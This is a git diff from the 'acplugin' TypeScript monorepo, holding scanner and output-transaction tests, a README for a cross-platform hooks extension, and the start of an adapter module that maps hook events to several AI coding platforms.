Platform。 */ + const codex = testPlatform('codex', (context) => { + validated.push({ component: context.component, fields: context.fields }); + if (context.fields.model !== 'fast') { + context.reportDiagnostic({ + code: 'CODEX_COMPONENT_MODEL_INVALID', + severity: 'error', + message: 'model must be fast.', + fieldPath: ['platforms', 'codex', 'model'], + }); + } + }); + /** 当前测试的完整规范工程。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.mkdir(path.join(root, 'public/bin'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/check.md'), `--- +description: Check a release. +argumentHint: +requires: + skills: [review] +platforms: + codex: + model: fast +--- +Check {{arguments}}. +`); + await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), `--- +description: Review a release. +requires: + agents: [reviewer] +--- +Review the release. +`); + /** Skill auxiliary 使用包含无效 UTF-8 的二进制内容验证 Scanner 不会文本化。 */ + const auxiliaryBytes = new Uint8Array([0xff, 0x00, 0x7f]); + await fs.writeFile(path.join(root, 'src/skills/review/references/data.bin'), auxiliaryBytes); + await fs.chmod(path.join(root, 'src/skills/review/references/data.bin'), 0o755); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), `--- +description: Review implementation correctness. +model: capable +capabilities: [filesystem:read, search] +--- +Return evidence-backed findings. +`); + /** Public 文件同样保留原始字节和可执行 mode。 */ + const publicBytes = new Uint8Array([0x00, 0xff, 0x01]); + await fs.writeFile(path.join(root, 'public/bin/tool'), publicBytes); + await fs.chmod(path.join(root, 'public/bin/tool'), 0o755); + + /** Scanner 生成的平台中立工程和诊断。 */ + const diagnostics = new DiagnosticCollector(); + /** 完整扫描后得到的规范 PluginProject。 */ + const { project } = await scanProject(projectConfig(root, { platforms: [testPlatform('claude-code'), codex] }), diagnostics); + + expect(diagnostics.diagnostics).toEqual([]); + expect({ + metadata: project.metadata, + commands: project.commands.map(command => ({ + id: command.id, + requires: command.requires, + platforms: command.platforms, + })), + skills: project.skills.map(skill => ({ + id: skill.id, + invocation: skill.invocation, + auxiliary: skill.auxiliaryFiles.map(file => ({ path: file.path, mode: file.mode })), + })), + agents: project.agents.map(agent => ({ id: agent.id, model: agent.model, capabilities: agent.capabilities })), + publicFiles: project.publicFiles.map(file => ({ targetPath: file.targetPath, mode: file.mode })), + }).toEqual({ + metadata: { name: 'scanner-fixture', version: '1.0.0', description: 'Scanner fixture.' }, + commands: [{ id: 'check', requires: { skills: ['review'], agents: [] }, platforms: { codex: { model: 'fast' } } }], + skills: [{ id: 'review', invocation: { user: true, model: true }, auxiliary: [{ path: 'references/data.bin', mode: 0o755 }] }], + agents: [{ id: 'reviewer', model: 'capable', capabilities: ['filesystem:read', 'search'] }], + publicFiles: [{ targetPath: 'bin/tool', mode: 0o755 }], + }); + expect(validated).toEqual([{ + component: { kind: 'command', id: 'check', sourcePath: 'src/commands/check.md' }, + fields: { model: 'fast' }, + }]); + expect(Object.isFrozen(project.commands[0]!.platforms.codex)).toBe(true); + expect(Object.isFrozen(project)).toBe(true); + expect(Object.isFrozen(project.skills[0]!.auxiliaryFiles)).toBe(true); + expect(await fs.readFile(project.skills[0]!.auxiliaryFiles[0]!.sourcePath)).toEqual(Buffer.from(auxiliaryBytes)); + expect(await fs.readFile(project.publicFiles[0]!.sourcePath)).toEqual(Buffer.from(publicBytes)); + }); + + it('reports malformed documents, nesting, invocation, capability, and placeholder failures', async () => { + /** 同时包含多种独立结构错误的临时工程。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/commands/nested'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/disabled'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/broken.md'), '---\ndescription: [\n---\nBroken.\n'); + await fs.writeFile(path.join(root, 'src/commands/placeholder.md'), '---\ndescription: Placeholder.\n---\nUse {{ args }}.\n'); + await fs.writeFile(path.join(root, 'src/skills/disabled/SKILL.md'), '---\ndescription: Disabled.\ninvocation:\n user: false\n model: false\n---\nDisabled body.\n'); + await fs.writeFile(path.join(root, 'src/agents/unsafe.md'), '---\ndescription: Unsafe.\ncapabilities: [raw-tool]\n---\nUnsafe body.\n'); + + /** 一次扫描收集的全部结构诊断码。 */ + const diagnostics = new DiagnosticCollector(); + await scanProject(projectConfig(root), diagnostics); + /** 用于验证多类 Scanner 失败的诊断码列表。 */ + const codes = diagnostics.diagnostics.map(diagnostic => diagnostic.code); + + expect(codes).toEqual(expect.arrayContaining([ + 'COMMAND_ENTRY_INVALID', + 'FRONTMATTER_INVALID', + 'COMMAND_PLACEHOLDER_INVALID', + 'SKILL_INVOCATION_EMPTY', + 'AGENT_CAPABILITY_INVALID', + ])); + }); + + it('requires configured platforms, delegates field validation, and rejects legacy extensions', async () => { + /** Validator 会通过受限出口报告专属字段错误的 Codex Platform。 */ + const codex = testPlatform('codex', (context) => { + context.reportDiagnostic({ + code: 'CODEX_TIMEOUT_INVALID', + severity: 'error', + message: 'timeout must be positive.', + fieldPath: ['platforms', 'codex', 'timeout'], + }); + }); + /** 同时声明合法 Platform、未配置 Platform 和旧字段的工程。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/deploy.md'), `--- +description: Deploy. +platforms: + codex: + timeout: -1 + ghost: + enabled: true +extensions: + codex: {} +--- +Deploy. +`); + + /** Platform 字段解析产生的聚合诊断。 */ + const diagnostics = new DiagnosticCollector(); + /** 即使存在字段诊断也保留有效 Component 的扫描结果。 */ + const { project } = await scanProject(projectConfig(root, { platforms: [codex] }), diagnostics); + + expect(diagnostics.diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ code: 'CODEX_TIMEOUT_INVALID', platform: 'codex', component: { kind: 'command', id: 'deploy' } }), + expect.objectContaining({ code: 'COMPONENT_PLATFORM_NOT_CONFIGURED', fieldPath: ['platforms', 'ghost'] }), + expect.objectContaining({ + code: 'COMPONENT_LEGACY_EXTENSIONS', + hint: expect.stringContaining('platforms: { \'claude-code\': {} }'), + }), + ])); + expect(project.commands[0]!.platforms).toEqual({ codex: { timeout: -1 } }); + }); + + it('reports non-empty Hooks and MCP sources when their Extensions are disabled', async () => { + /** 包含两个保留 Extension 来源目录的临时工程。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/hooks/a'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/mcp/b'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/hooks/a/hook.ts'), 'export default {}'); + await fs.writeFile(path.join(root, 'src/mcp/b/mcp.ts'), 'export default {}'); + + /** 未启用 Extension 时的目录所有权诊断。 */ + const diagnostics = new DiagnosticCollector(); + await scanProject(projectConfig(root), diagnostics); + expect(diagnostics.diagnostics.filter(diagnostic => diagnostic.code === 'EXTENSION_REQUIRED')).toHaveLength(2); + + /** 使用最终公开名称启用两个空 Extension 后不再报告目录所有权错误。 */ + const extensions = [ + defineExtension({ name: '@tokenroll/acplugin-extension-hooks', apiVersion: '1', adapters: [] }), + defineExtension({ name: '@tokenroll/acplugin-extension-mcp', apiVersion: '1', adapters: [] }), + ]; + /** 启用正式 Extension 名称后的扫描诊断。 */ + const enabledDiagnostics = new DiagnosticCollector(); + await scanProject(projectConfig(root, { extensions }), enabledDiagnostics); + expect(enabledDiagnostics.diagnostics.filter(diagnostic => diagnostic.code === 'EXTENSION_REQUIRED')).toEqual([]); + }); + + it('rejects invalid UTF-8 Markdown and colliding Public copy targets', async () => { + /** 使用显式 Public copy rule 制造大小写不敏感目标冲突的工程。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'public/a'), { recursive: true }); + await fs.mkdir(path.join(root, 'public/b'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/binary.md'), new Uint8Array([0xff, 0xfe])); + await fs.writeFile(path.join(root, 'public/a/file.txt'), 'a'); + await fs.writeFile(path.join(root, 'public/b/file.txt'), 'b'); + /** 两条规则的最终目标只在大小写上不同。 */ + const publicConfig = { + copy: [ + { from: 'a/file.txt', to: 'Shared/file.txt' }, + { from: 'b/file.txt', to: 'shared/file.txt' }, + ], + }; + + /** UTF-8 和 Public 目标安全诊断。 */ + const diagnostics = new DiagnosticCollector(); + await scanProject(projectConfig(root, { public: publicConfig }), diagnostics); + expect(diagnostics.diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ code: 'MARKDOWN_UTF8_INVALID' }), + expect.objectContaining({ code: 'PUBLIC_TARGET_COLLISION' }), + ])); + }); + + it('does not follow a configured source directory symlink', async () => { + /** 工程外部目录模拟符号链接可能造成的来源边界逃逸。 */ + const external = await temporaryProject(); + await fs.mkdir(path.join(external, 'commands'), { recursive: true }); + await fs.writeFile(path.join(external, 'commands/leaked.md'), '---\ndescription: Leaked.\n---\nLeaked body.\n'); + /** 当前工程把 srcDir 指向外部目录的符号链接。 */ + const root = await temporaryProject(); + await fs.symlink(external, path.join(root, 'linked-src')); + + /** Scanner 应在读取任何外部 Component 前拒绝该来源根。 */ + const diagnostics = new DiagnosticCollector(); + /** 符号链接 srcDir 被拒绝后保持为空的规范工程。 */ + const { project } = await scanProject(projectConfig(root, { srcDir: 'linked-src' }), diagnostics); + expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ code: 'SOURCE_ROOT_SYMLINK' })); + expect(project.commands).toEqual([]); + }); +}); diff --git a/packages/core/test/transaction.test.ts b/packages/core/test/transaction.test.ts new file mode 100644 index 0000000..7c80e3c --- /dev/null +++ b/packages/core/test/transaction.test.ts @@ -0,0 +1,167 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { + bytesArtifact, + commitDeliveryUnits, + definePlatform, + DeliveryUnitRegistry, + withMaterializedDeliveryUnitCandidate, + type ArtifactInput, + type DeliveryUnit, + type ManagedOutputPhase, + type PlatformId, +} from '../src/index.js'; + +/** 新事务测试创建并统一删除的临时工程。 */ +const temporaryDirectories: string[] = []; + +/** @returns 已登记清理的临时工程根。 */ +async function temporaryRoot(): Promise { + /** 当前测试独占的临时目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-transaction-test-')); + temporaryDirectories.push(root); + return root; +} + +/** + * 创建测试使用的品牌化 Platform ID。 + * + * @param id 开放 Platform ID。 + * @returns Core 工厂生成的 PlatformId。 + */ +function platformId(id: string): PlatformId { + return definePlatform({ + id, + apiVersion: '1', + deliveryType: 'plugin', + /** 事务测试直接构建 DeliveryUnit。 */ + prepare: () => ({ documents: [], artifacts: [] }), + /** 事务测试不执行 Platform generateBundle。 */ + generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), + /** 候选测试通过独立回调模拟 Validator。 */ + validateBundle: () => undefined, + }).id; +} + +/** Codex 测试单元使用的稳定 ID。 */ +const CODEX = platformId('codex'); + +/** + * 创建包含指定 Artifact 的不可变主 DeliveryUnit。 + * + * @param roots 文件型 Artifact 可以读取的来源根。 + * @param artifacts 主单元产物输入。 + * @returns 已完成 owner、hash 和路径校验的单元。 + */ +async function pluginUnit(roots: readonly string[], artifacts: readonly ArtifactInput[]): Promise { + /** 测试单元内 Platform owner 独占的目录来源授权。 */ + const policies = new Map([['platform:codex', { roots }]]); + /** 当前 helper 独占的全局单元 Registry。 */ + const registry = new DeliveryUnitRegistry(policies); + return registry.add(CODEX, { id: 'plugin', role: 'primary', type: 'plugin', artifacts }); +} + +afterEach(async () => { + await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); +}); + +describe('DeliveryUnit transaction', () => { + it('preserves the previous complete output at every injected failure phase', async () => { + /** 逐一注入故障并验证完整 DeliveryUnit 集合回滚的事务阶段。 */ + const phases: ManagedOutputPhase[] = [ + 'lock-acquired', + 'recovery-complete', + 'stage-materialized', + 'stage-validated', + 'transaction-written', + 'backup-created', + 'output-swapped', + ]; + + for (const phase of phases) { + /** 当前故障阶段独占的事务工程根。 */ + const root = await temporaryRoot(); + /** 预先包含完整旧输出的目标目录。 */ + const outDir = path.join(root, 'dist'); + await fs.mkdir(path.join(outDir, 'codex', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'codex', 'plugin', 'version.txt'), 'old'); + /** 当前事务尝试提交的新主 DeliveryUnit。 */ + const unit = await pluginUnit([root], [bytesArtifact('version.txt', 'new')]); + + await expect(commitDeliveryUnits(outDir, [unit], { + projectRoot: root, + /** 在指定事务阶段注入失败以验证旧输出恢复。 */ + onPhase(current) { + if (current === phase) + throw new Error(`fail at ${phase}`); + }, + })).rejects.toThrow(`fail at ${phase}`); + + expect(await fs.readFile(path.join(outDir, 'codex', 'plugin', 'version.txt'), 'utf8')).toBe('old'); + expect((await fs.readdir(root)).filter(name => name.startsWith('.dist.acplugin-'))).toEqual([]); + } + }); + + it('materializes an isolated candidate and rejects Validator mutation', async () => { + /** 候选目录和 Platform 临时目录所在的测试根。 */ + const root = await temporaryRoot(); + /** 包含一个稳定字节 Artifact 的主单元。 */ + const unit = await pluginUnit([root], [bytesArtifact('manifest.json', '{"ok":true}')]); + /** Validator 观察到的候选根,用于确认 finally 清理。 */ + let candidateRoot = ''; + + await expect(withMaterializedDeliveryUnitCandidate(unit, async (candidate) => { + candidateRoot = candidate.root; + expect(await fs.readFile(path.join(candidate.root, 'manifest.json'), 'utf8')).toBe('{"ok":true}'); + await fs.writeFile(path.join(candidate.root, 'manifest.json'), 'mutated'); + }, root)).rejects.toThrow('integrity mismatch'); + await expect(fs.access(candidateRoot)).rejects.toThrow(); + }); + + it('commits the two-level Platform/unit layout and replaces the full managed set', async () => { + /** 已含旧 Platform 目录的工程根。 */ + const root = await temporaryRoot(); + /** 本次事务整体替换的托管输出目录。 */ + const outDir = path.join(root, 'dist'); + await fs.mkdir(path.join(outDir, 'claude-code', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'claude-code', 'plugin', 'old.txt'), 'old'); + /** 本次只选择 Codex 的完整新单元集合。 */ + const unit = await pluginUnit([root], [bytesArtifact('manifest.json', 'new')]); + + await commitDeliveryUnits(outDir, [unit], { projectRoot: root }); + + expect(await fs.readFile(path.join(outDir, 'codex', 'plugin', 'manifest.json'), 'utf8')).toBe('new'); + await expect(fs.access(path.join(outDir, 'claude-code'))).rejects.toThrow(); + }); + + it('preserves the complete old output when a file source changes after hashing', async () => { + /** 包含旧输出和可变文件来源的工程根。 */ + const root = await temporaryRoot(); + /** 完整性失败后必须保留旧版本的输出目录。 */ + const outDir = path.join(root, 'dist'); + /** hash 完成后会被修改的文件型 Artifact 来源。 */ + const source = path.join(root, 'source.txt'); + await fs.mkdir(path.join(outDir, 'codex', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'codex', 'plugin', 'version.txt'), 'old'); + await fs.writeFile(source, 'original'); + /** 在来源变更前完成 hash 的单元。 */ + const unit = await pluginUnit([root], [{ path: 'source.txt', source: { type: 'file', path: source } }]); + await fs.writeFile(source, 'changed-after-hash'); + + await expect(commitDeliveryUnits(outDir, [unit], { projectRoot: root })).rejects.toThrow('integrity mismatch'); + expect(await fs.readFile(path.join(outDir, 'codex', 'plugin', 'version.txt'), 'utf8')).toBe('old'); + }); + + it('rejects the project root and paths outside it before creating transaction state', async () => { + /** 安全边界验证使用的空工程。 */ + const root = await temporaryRoot(); + /** 工程根之外且不得成为输出目标的目录。 */ + const outside = await temporaryRoot(); + + await expect(commitDeliveryUnits(root, [], { projectRoot: root })).rejects.toThrow('strictly inside'); + await expect(commitDeliveryUnits(path.join(outside, 'dist'), [], { projectRoot: root })).rejects.toThrow('strictly inside'); + expect((await fs.readdir(root)).filter(name => name.includes('acplugin-'))).toEqual([]); + }); +}); diff --git a/packages/module-hooks/LICENSE b/packages/extensions/hooks/LICENSE similarity index 100% rename from packages/module-hooks/LICENSE rename to packages/extensions/hooks/LICENSE diff --git a/packages/extensions/hooks/README.md b/packages/extensions/hooks/README.md new file mode 100644 index 0000000..774e587 --- /dev/null +++ b/packages/extensions/hooks/README.md @@ -0,0 +1,83 @@ +# @tokenroll/acplugin-extension-hooks + +Portable Hook authoring plus six official Platform adapters for `@tokenroll/acplugin`. + +`统一书写 Hook,并由官方 Adapter 构建为六个平台各自支持的静态或运行时产物。` + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-extension-hooks +``` + +```ts +// acplugin.config.ts +import { defineConfig } from '@tokenroll/acplugin'; +import hooks from '@tokenroll/acplugin-extension-hooks'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + extensions: [hooks()], +}); +``` + +Each Hook is a branded TypeScript descriptor at `src/hooks//hook.ts`: + +`每个 Hook 使用独立一级目录,并通过 defineHook 获得事件级输入和结果类型。` + +```ts +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +export default defineHook({ + event: 'PreToolUse', + matcher: 'Bash|Write|Edit', + timeout: 10, + platforms: { + codex: { additionalContextLimit: 2_500 }, + }, + async run(input, context) { + return input.toolName === 'Bash' + ? { decision: 'allow' } + : { decision: 'deny', reason: `Denied on ${context.platform}.` }; + }, +}); +``` + +The canonical events are `SessionStart`, `SessionEnd`, `UserPromptSubmit`, `PreToolUse`, `PermissionRequest`, `PostToolUse`, `PreCompact`, `PostCompact`, `SubagentStart`, `SubagentStop`, and `Stop`. + +Platform-only events stay explicitly scoped and never expand that union: + +`平台专属事件必须显式限定;其他 Platform 不会获得产物或兼容性结论。` + +```ts +export default defineHook({ + event: { platform: 'claude-code', name: 'Setup' }, + matcher: 'init', + run() {}, +}); +``` + +acplugin bundles each implementation once as a platform-neutral Node 20 ESM `hooks//handler.mjs`. Each Adapter emits an adjacent `wire.mjs` that owns its native stdin schema, camelCase conversion, runtime root/data environment mapping, and stdout mapping. The shared Handler validates event-specific results, keeps stdin/stdout within 1 MiB, and emits only stable error codes. Third-party code included in a Handler receives a deterministic `THIRD_PARTY_LICENSES.txt`. + +`作者不能声明原始 shell、绝对 executable、HTTP、prompt、agent 或 MCP-tool Handler;平台 wire 协议完全由 Adapter 管理。` + +Claude Code uses shell-free exec form (`command: "node"` plus `args`). Codex currently receives a fixed framework-generated command string because its public Hook schema does not expose `args`. A meaningful matcher is reported as `degraded` whenever the selected host silently ignores it, including Claude Code `UserPromptSubmit`/`Stop` and Codex `UserPromptSubmit`/`Stop`; empty Hooks produce no artifacts. + +Portable event support: + +| Platform | Native | Transformed | Degraded | Unsupported | +| --- | --- | --- | --- | --- | +| Claude Code | all 11 portable events | — | matcher on selected events | — | +| Codex | all 11 portable events | — | matcher on selected events | — | +| Cursor | — | 9 events | field-level matcher/status loss | `PermissionRequest`, `PostCompact` | +| Antigravity | `SessionStart`, `SessionEnd`, `PreToolUse`, `PostToolUse`, `PreCompact` | — | field-level matcher/status loss | remaining 6 events | +| OpenCode | `SessionStart`, `UserPromptSubmit`, `PreToolUse`, `PostToolUse`, `PostCompact` | — | `SessionEnd`, `Stop` | remaining 4 events | +| Pi | `SessionStart`, `SessionEnd`, `UserPromptSubmit`, `PreToolUse`, `PostToolUse`, `PreCompact`, `PostCompact` | — | `Stop` | `PermissionRequest`, `SubagentStart`, `SubagentStop` | + +Strict mode rejects degraded or unsupported outcomes; relaxed mode emits only verified runtimes and preserves the full structured report. Empty Hooks produce no Artifact. + +Contracts were last rechecked on 2026-08-06 against [Claude Code Hooks](https://code.claude.com/docs/en/hooks), [Codex Hooks](https://learn.chatgpt.com/docs/hooks), [Cursor Hooks](https://cursor.com/docs/agent/hooks), [Antigravity Plugins](https://antigravity.google/docs/plugins?app=cli), [OpenCode Plugins](https://opencode.ai/docs/plugins/), and [Pi Extensions](https://pi.dev/docs/latest/extensions). + +## License + +MIT diff --git a/packages/module-hooks/package.json b/packages/extensions/hooks/package.json similarity index 60% rename from packages/module-hooks/package.json rename to packages/extensions/hooks/package.json index 5170365..bb373ba 100644 --- a/packages/module-hooks/package.json +++ b/packages/extensions/hooks/package.json @@ -1,11 +1,11 @@ { - "name": "@tokenroll/acplugin-module-hooks", + "name": "@tokenroll/acplugin-extension-hooks", "version": "1.0.0", - "description": "Portable local hook handlers for acplugin.", + "description": "Portable hook authoring and platform adapters for acplugin.", "type": "module", "license": "MIT", - "homepage": "https://github.com/TokenRollAI/acplugin#hooks-module", - "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/module-hooks" }, + "homepage": "https://github.com/TokenRollAI/acplugin#hooks-extension", + "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/extensions/hooks" }, "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, "sideEffects": false, "engines": { "node": ">=20" }, @@ -14,6 +14,7 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", + "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter @acplugin/platform-claude-code run build && pnpm --filter @acplugin/platform-codex run build && pnpm --filter @tokenroll/acplugin run build && pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, @@ -23,7 +24,7 @@ "@tokenroll/acplugin": "workspace:^", "@types/node": "catalog:", "tsdown": "catalog:", - "typescript": "catalog:", + "@typescript/native": "catalog:", "vitest": "catalog:" } } diff --git a/packages/extensions/hooks/src/adapters.ts b/packages/extensions/hooks/src/adapters.ts new file mode 100644 index 0000000..18a6ca2 --- /dev/null +++ b/packages/extensions/hooks/src/adapters.ts @@ -0,0 +1,714 @@ +import { + bytesArtifact, + stableJson, + type ExtensionPlatformAdapter, + type JsonValue, + type PlatformAdapterContext, + type PlatformId, +} from '@tokenroll/acplugin'; +import type { BuiltHooks, BundledHook } from './bundler.js'; +import { + ANTIGRAVITY_PLATFORM_ID, + CLAUDE_CODE_PLATFORM_ID, + CODEX_PLATFORM_ID, + CURSOR_PLATFORM_ID, + HOOKS_MANIFEST_PATH, + OPENCODE_PLATFORM_ID, + PI_PLATFORM_ID, + PLUGIN_MANIFEST_ID, +} from './constants.js'; +import { eventName, platformForEvent } from './discovery.js'; +import { + createOpenCodePluginSource, + createPiExtensionSource, + runtimeHookDescriptor, +} from './runtime-adapter-source.js'; +import { createWireSource } from './wire-source.js'; + +/** Adapter 合并顶层默认值与 Platform 补充字段后的执行配置。 */ +interface ResolvedHookOptions { + /** 当前 Platform 实际采用的 matcher。 */ + readonly matcher?: string; + /** 当前 Platform 实际采用的超时秒数。 */ + readonly timeout?: number; + /** 当前 Platform 实际显示的状态消息。 */ + readonly statusMessage?: string; + /** Codex 可选的上下文直接注入 Token 上限。 */ + readonly additionalContextLimit?: number; +} + +/** 单个 Hook 配置文件中的事件分组。 */ +interface HookGroup { + /** 可选的平台匹配表达式。 */ + readonly matcher?: string; + /** 当前匹配分组内的一个受控 command Handler。 */ + readonly hooks: readonly Readonly>[]; +} + +/** 非默认 Platform 对一个规范事件的实际支持结论。 */ +interface HookEventSupport { + /** Adapter 是否生成可运行产物。 */ + readonly supported: boolean; + /** 生成产物时的兼容性等级。 */ + readonly level: 'native' | 'transform' | 'degraded' | 'unsupported'; + /** 平台原生事件名称。 */ + readonly nativeEvent?: string; + /** 稳定且面向作者的结论原因。 */ + readonly reason: string; +} + +/** Cursor 对 11 个规范事件的固定映射。 */ +const CURSOR_EVENTS: Readonly> = Object.freeze({ + SessionStart: { supported: true, level: 'transform', nativeEvent: 'sessionStart', reason: 'Cursor provides a corresponding sessionStart command Hook.' }, + SessionEnd: { supported: true, level: 'transform', nativeEvent: 'sessionEnd', reason: 'Cursor provides a corresponding sessionEnd command Hook.' }, + UserPromptSubmit: { supported: true, level: 'transform', nativeEvent: 'beforeSubmitPrompt', reason: 'Cursor beforeSubmitPrompt preserves the prompt submission trigger.' }, + PreToolUse: { supported: true, level: 'transform', nativeEvent: 'preToolUse', reason: 'Cursor preToolUse preserves the before-tool trigger.' }, + PermissionRequest: { supported: false, level: 'unsupported', reason: 'Cursor has no verified Plugin Hook for a distinct permission request.' }, + PostToolUse: { supported: true, level: 'transform', nativeEvent: 'postToolUse', reason: 'Cursor postToolUse preserves the after-tool trigger.' }, + PreCompact: { supported: true, level: 'transform', nativeEvent: 'preCompact', reason: 'Cursor preCompact preserves the pre-compaction trigger.' }, + PostCompact: { supported: false, level: 'unsupported', reason: 'Cursor has no verified post-compaction Plugin Hook.' }, + SubagentStart: { supported: true, level: 'transform', nativeEvent: 'subagentStart', reason: 'Cursor subagentStart preserves the subagent start trigger.' }, + SubagentStop: { supported: true, level: 'transform', nativeEvent: 'subagentStop', reason: 'Cursor subagentStop preserves the subagent stop trigger.' }, + Stop: { supported: true, level: 'transform', nativeEvent: 'stop', reason: 'Cursor stop preserves the agent stop trigger.' }, +}); + +/** Antigravity 对 11 个规范事件的固定映射。 */ +const ANTIGRAVITY_EVENTS: Readonly> = Object.freeze({ + SessionStart: { supported: true, level: 'native', nativeEvent: 'SessionStart', reason: 'Antigravity supports SessionStart command Hooks.' }, + SessionEnd: { supported: true, level: 'native', nativeEvent: 'SessionEnd', reason: 'Antigravity supports SessionEnd command Hooks.' }, + UserPromptSubmit: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented prompt-submit Hook.' }, + PreToolUse: { supported: true, level: 'native', nativeEvent: 'PreToolUse', reason: 'Antigravity supports PreToolUse command Hooks.' }, + PermissionRequest: { supported: false, level: 'unsupported', reason: 'Antigravity has no distinct permission request Hook.' }, + PostToolUse: { supported: true, level: 'native', nativeEvent: 'PostToolUse', reason: 'Antigravity supports PostToolUse command Hooks.' }, + PreCompact: { supported: true, level: 'native', nativeEvent: 'PreCompact', reason: 'Antigravity supports PreCompact command Hooks.' }, + PostCompact: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented post-compaction Hook.' }, + SubagentStart: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented subagent start Hook.' }, + SubagentStop: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented subagent stop Hook.' }, + Stop: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented stop Hook.' }, +}); + +/** OpenCode runtime Plugin 对 11 个规范事件的固定映射。 */ +const OPENCODE_EVENTS: Readonly> = Object.freeze({ + SessionStart: { supported: true, level: 'native', nativeEvent: 'session.created', reason: 'OpenCode exposes the session.created runtime event.' }, + SessionEnd: { supported: true, level: 'degraded', nativeEvent: 'session.deleted', reason: 'OpenCode session.deleted is observable but cannot preserve every completion result.' }, + UserPromptSubmit: { supported: true, level: 'native', nativeEvent: 'chat.message', reason: 'OpenCode exposes a mutable chat.message Hook.' }, + PreToolUse: { supported: true, level: 'native', nativeEvent: 'tool.execute.before', reason: 'OpenCode exposes a mutable before-tool Hook.' }, + PermissionRequest: { supported: false, level: 'unsupported', reason: 'OpenCode has no stable runtime Hook for a distinct permission request.' }, + PostToolUse: { supported: true, level: 'native', nativeEvent: 'tool.execute.after', reason: 'OpenCode exposes an after-tool Hook.' }, + PreCompact: { supported: false, level: 'unsupported', reason: 'OpenCode has no verified pre-compaction runtime event.' }, + PostCompact: { supported: true, level: 'native', nativeEvent: 'session.compacted', reason: 'OpenCode exposes the session.compacted event.' }, + SubagentStart: { supported: false, level: 'unsupported', reason: 'OpenCode has no stable subagent-start runtime event.' }, + SubagentStop: { supported: false, level: 'unsupported', reason: 'OpenCode has no stable subagent-stop runtime event.' }, + Stop: { supported: true, level: 'degraded', nativeEvent: 'session.idle', reason: 'OpenCode session.idle is observable but cannot preserve all stop decisions.' }, +}); + +/** Pi runtime Extension 对 11 个规范事件的固定映射。 */ +const PI_EVENTS: Readonly> = Object.freeze({ + SessionStart: { supported: true, level: 'native', nativeEvent: 'session_start', reason: 'Pi exposes session_start.' }, + SessionEnd: { supported: true, level: 'native', nativeEvent: 'session_shutdown', reason: 'Pi exposes session_shutdown.' }, + UserPromptSubmit: { supported: true, level: 'native', nativeEvent: 'input', reason: 'Pi exposes the input event before agent processing.' }, + PreToolUse: { supported: true, level: 'native', nativeEvent: 'tool_call', reason: 'Pi tool_call can block tool execution.' }, + PermissionRequest: { supported: false, level: 'unsupported', reason: 'Pi has no distinct permission request event.' }, + PostToolUse: { supported: true, level: 'native', nativeEvent: 'tool_result', reason: 'Pi exposes tool_result.' }, + PreCompact: { supported: true, level: 'native', nativeEvent: 'session_before_compact', reason: 'Pi exposes session_before_compact.' }, + PostCompact: { supported: true, level: 'native', nativeEvent: 'session_compact', reason: 'Pi exposes session_compact.' }, + SubagentStart: { supported: false, level: 'unsupported', reason: 'Pi has no canonical subagent start event.' }, + SubagentStop: { supported: false, level: 'unsupported', reason: 'Pi has no canonical subagent stop event.' }, + Stop: { supported: true, level: 'degraded', nativeEvent: 'agent_end', reason: 'Pi agent_end is observable but cannot force every stop decision.' }, +}); + +/** Claude Code 接受 matcher 字段、但会静默忽略 matcher 语义的事件。 */ +const CLAUDE_MATCHER_IGNORED_EVENTS = new Set([ + 'UserPromptSubmit', + 'PostToolBatch', + 'Stop', + 'TeammateIdle', + 'TaskCreated', + 'TaskCompleted', + 'WorktreeCreate', + 'WorktreeRemove', + 'MessageDisplay', + 'CwdChanged', +]); + +/** + * 判断 matcher 是否真正缩小了事件匹配范围。 + * + * @param matcher 当前 Platform 解析后的 matcher。 + * @returns 非空且不是全匹配星号时返回 true。 + */ +function hasMeaningfulMatcher(matcher: string | undefined): boolean { + return matcher !== undefined && matcher !== '' && matcher !== '*'; +} + +/** + * 判断一个规范或平台限定 Hook 是否应交给当前 Adapter。 